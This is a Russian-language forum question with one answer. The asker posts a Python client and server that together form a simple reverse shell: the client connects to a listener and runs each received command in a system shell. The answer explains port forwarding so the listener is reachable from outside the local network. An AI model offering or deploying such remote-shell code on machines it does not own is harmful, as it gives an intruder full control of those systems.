Как удаленно подключиться (Python)
Есть код сервера и клиента Все работает хорошо, но программа работает только по локальной сети если пытаюсь удаленно с другого города, то она не работает. Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно
Это клиентская часть
import subprocess
import socket
import os
def execute_command(command):
return subprocess.check_output(command, shell=True)
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(('192.168.0.15', 8888))
while True:
command = connection.recv(1024)
command_result = execute_command(command)
connection.send(command_result)
connection.close()
Серверная часть
import subprocess
import socket
import os
listner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listner.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listner.bind(('192.168.0.15', 8888))
listner.listen(0)
print("[+] Waiting for connection")
connection, address = listner.accept()
print("[+] Connection established - " + str(address))
while True:
command = raw_input("----> ")
connection.send(command)
result = connection.recv(1024)
print(result)
Ответы (1 шт):
Обычно интернет приходит в роутер и роутер виден из внешней сети как адрес. Чтобы узнать адрес вашего роутера вне дома, зайдите, например, на https://2ip.ru/
Так вы узнаете внешний адрес вместо 192.168.0.15
Далее вам нужно подключиться к роутеру ( обычно это просто ввести в браузере адрес роутера, адрес роутера написан на нём снизу, например, 192.168.0.1 ), ввести логин и пароль доступа и настроить проброс портов.
Проброс порта, например, 8888. Когда к вам приходит со стороны пользователь и стучится в ваш роутер в дверь номер 8888, то ваш роутер должен знать, на какой комп в вашей сети посылать этого пользователя, потому что у вас в сети много компов и роутер не знает где именно расположена серверная часть.
Поэтому, вы добавляете в роутер информацию вида, внешний адрес любой порт = 192.168.0.15 8888. Внешний порт может быть любым, главное объяснить роутеру, куда послать гостя, если он постучится из вне.
Это приблизительное объяснение, если что не ясно - пишите, попробую рассказать